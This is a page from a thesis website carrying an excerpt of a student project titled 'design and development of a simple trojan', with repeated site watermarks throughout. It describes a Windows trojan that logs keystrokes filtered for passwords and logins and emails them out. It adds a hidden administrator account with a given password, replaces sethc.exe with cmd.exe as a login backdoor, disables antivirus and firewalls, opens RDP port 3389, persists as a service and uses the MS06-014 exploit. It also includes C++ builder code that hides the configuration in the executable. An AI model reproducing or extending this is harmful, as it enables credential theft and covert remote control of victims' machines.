论文无忧网提供:计算机毕业论文范文|计算机毕业设计|计算机毕业论文
栏目导航 ASP JSP .NET VB6.0 JAVA VC VF DELPHI PB 计算机网络 计算机科学与技术 PHP 安卓APP 其他 C# 代写论文
当前位置: > 计算机 > 计算机科学与技术 >

一个简单木马程序的设计与开发(论文+程序)

2.3   木马程序功能说明

1.   记录用户键盘输入。记录有如下关键字的:密码,登录,管理,后台,学院,邮箱,系统,远程桌面,管理,Internet, manage, pass, login, cmd.exe, Firefox, Browser

copyright paper51.com

2.    获取本机IP地址 内容来自www.paper51.com

3.    添加管理员admin$密码admin888 http://www.paper51.com

4.    替换系统目录下的sethc.exe为cmd.exe。实现出现系统登录时,不需要知道密码,连按5次SHIFT,就可以调出CMD.EXE,可在CMD.EXE中执行添加管理员的命令,也可以执行EXPLORER.EXE,进而打开桌面等。而远程桌面登录时,也可以通过此项调出CMD.EXE程序

copyright paper51.com

5.    关闭常见防火墙和杀毒软件

内容来自www.paper51.com

6.    打开3389端口 paper51.com

7.    定时向指定邮箱发送邮件,内容为本机IP和键盘输入 http://www.paper51.com

8.    打开设定端口,取得目标主机的cmd权限 copyright paper51.com

9.    把程序安装成服务,实现自启动

paper51.com

10.使用Ms06-014网页木马

paper51.com

11.编写两个辅助程序 内容来自www.paper51.com

3        程序设计3.1    辅佐程序设计

copyright paper51.com

为了使用配置程序,需要设两个辅助程序,来实现合并程序,生成木马程序并将配置文件写入木马程序中。通过VC++6.0,建一个如图1的MFC程序。第一个文件读取按钮,代码如下: 内容来自论文无忧网 www.paper51.com

void CAddTwoDlg::OnBtnfile1()

内容来自www.paper51.com

{ 内容来自www.paper51.com

CFileDialog dlg(true); paper51.com

      if(dlg.DoModal()==IDOK) copyright paper51.com

      { 内容来自论文无忧网 www.paper51.com

             m_file1=dlg.GetPathName();

内容来自www.paper51.com

             UpdateData(0);             //将取得的文件名更新到文本框1中

paper51.com

      } http://www.paper51.com

}

paper51.com

配置木马程序代码: http://www.paper51.com

void CNneDlg::OnBtnmake()

http://www.paper51.com

{

paper51.com

      UpdateData(1);

paper51.com

      charpath[256]={0};           //文件2 从文件1中分离出来 paper51.com

      GetCurrentDirectory(256,path)   ;//取得当前文件夹路径!

内容来自论文无忧网 www.paper51.com

      CStringfile1;

内容来自论文无忧网 www.paper51.com

      CStringfile2; paper51.com

      file1.Format("%s\\config.exe",path);

内容来自论文无忧网 www.paper51.com

      file2.Format("%s\\trojan.exe",path);   内容来自www.paper51.com

      CFilefSource(file1,CFile::modeRead | CFile::modeNoTruncate);

内容来自www.paper51.com

      intiSourceLength = fSource.GetLength(); copyright paper51.com

      fSource.Seek(iSourceLength-30,CFile::begin);

copyright paper51.com

      charbuffer[40];

内容来自论文无忧网 www.paper51.com

      ZeroMemory(buffer,40); copyright paper51.com

      fSource.Read(buffer,30); 内容来自论文无忧网 www.paper51.com

      intiTargetLength = atoi(buffer); http://www.paper51.com

   fSource.Seek(iSourceLength-iTargetLength-30,CFile::begin); copyright paper51.com

      CFilefTarget(file2,CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);

copyright paper51.com

      char*pBuffer = new char[iTargetLength]; 内容来自www.paper51.com

      ZeroMemory(pBuffer,iTargetLength);

paper51.com

      fSource.Read(pBuffer,iTargetLength); paper51.com

      fTarget.Write(pBuffer,iTargetLength);

paper51.com

      delete[]pBuffer;

paper51.com

      fSource.Close(); paper51.com

      fTarget.Close();

http://www.paper51.com

      CStringfile3; //将配置写入一文本文件

内容来自www.paper51.com

      file3.Format("%s\\config.txt",path);

内容来自论文无忧网 www.paper51.com

      FILE*pFile=fopen(file3,"w+"); paper51.com

      fwrite(m_smtp,1,m_smtp.GetLength(),pFile);

http://www.paper51.com

      charch=10; http://www.paper51.com

      fputc(ch,pFile); 内容来自www.paper51.com

      //将邮箱用户名加密

内容来自论文无忧网 www.paper51.com

      fwrite(encrypt(m_username),1,encrypt(m_username).GetLength(),pFile); copyright paper51.com

      fwrite(m_username,1,m_username.GetLength(),pFile);

copyright paper51.com

      fputc(ch,pFile);

paper51.com

      fwrite(m_password,1,m_password.GetLength(),pFile); paper51.com

      fputc(ch,pFile);

http://www.paper51.com

      CStringxxx;

paper51.com

      GetDlgItemText(IDC_EDIT_time,xxx);

paper51.com

      fwrite(xxx,1,xxx.GetLength(),pFile); 内容来自论文无忧网 www.paper51.com

      fputc(ch,pFile);    

http://www.paper51.com

      CStringpport;

paper51.com

      GetDlgItemText(IDC_EDIT_port,pport); paper51.com

      fwrite(pport,1,pport.GetLength(),pFile); 内容来自www.paper51.com

      fputc(ch,pFile);

内容来自论文无忧网 www.paper51.com

      fclose(pFile);

copyright paper51.com

      内容来自www.paper51.com

      //将配置文件加到程序尾部

http://www.paper51.com

      CFilefff(file2,CFile::modeReadWrite | CFile::modeNoTruncate);

paper51.com

      fff.SeekToEnd(); paper51.com

      CFilefConfigFile(file3,CFile::modeRead | CFile::modeNoTruncate);

paper51.com

      intilen = fConfigFile.GetLength(); 内容来自www.paper51.com

      intlen = ilen; copyright paper51.com

      char*pBuff = new char[ilen];

http://www.paper51.com

      ZeroMemory(pBuff,ilen); 内容来自www.paper51.com

      fConfigFile.Read(pBuff,ilen);

内容来自论文无忧网 www.paper51.com

      fff.Write(pBuff,ilen); copyright paper51.com

      fConfigFile.Close(); http://www.paper51.com

      deletepBuff;

内容来自www.paper51.com

      chartempBuff[30]; 内容来自www.paper51.com

      ZeroMemory(tempBuff,30);

paper51.com

      itoa(ilen,tempBuff,10); http://www.paper51.com

      while(strlen(tempBuff) < 30)

copyright paper51.com

      {strcat(tempBuff,"");}

内容来自www.paper51.com

      fff.Write(tempBuff,30); 内容来自论文无忧网 www.paper51.com

      fff.Close();

内容来自www.paper51.com

      fConfigFile.Remove(file3); 内容来自www.paper51.com

      MessageBox("ConfigED."); 内容来自论文无忧网 www.paper51.com

} copyright paper51.com

//由于 是直接把配置文件放在EXE程序尾部,难免会被人发现 内容来自www.paper51.com

//所以 使用此函数把数据加密,以迷惑对方  paper51.com

CString CNneDlg::encrypt(CString str)

paper51.com

{ 内容来自www.paper51.com

      if(str.GetLength()==4) copyright paper51.com

      {            str.Insert(2,"wuha");     }

内容来自论文无忧网 www.paper51.com

      elseif(str.GetLength()==6)

http://www.paper51.com

      {            str.Insert(2,"qgii");        } paper51.com

      elseif(str.GetLength()==7) copyright paper51.com

      {            str.Insert(3,"wa23");     } 内容来自论文无忧网 www.paper51.com

      elseif(str.GetLength()==9) http://www.paper51.com

      {            str.Insert(5,"d12d");     }

内容来自论文无忧网 www.paper51.com

      else

内容来自www.paper51.com

      {            str.Insert(1,"mg1g");     }

内容来自www.paper51.com

      returnstr; 内容来自论文无忧网 www.paper51.com

}

paper51.com

3.2   木马程序设计   内容来自www.paper51.com

木马开启设定后门,主要是通过是以新建一个线程的形式。程序运行后,先把自身复制到系统盘中,然后把系统盘中的程序设成服务,然后开启3389端口,添加系统管理员,且把系统盘中的sethc.exe换成cmd.exe,实现用户登录时,不输入密码,直接按5次shift健,调出cmd.exe程序,并另开一个线程实现键盘记录,当用户按键时,就将当前窗口标题及按键内容记录到一个文件中,到了设定的邮件发送时间,就把该文件的内容发送到设定的邮箱中,在发送邮件前,会关闭常见的杀毒软件和防火墙。

paper51.com

------分隔线----------------------------
联系方式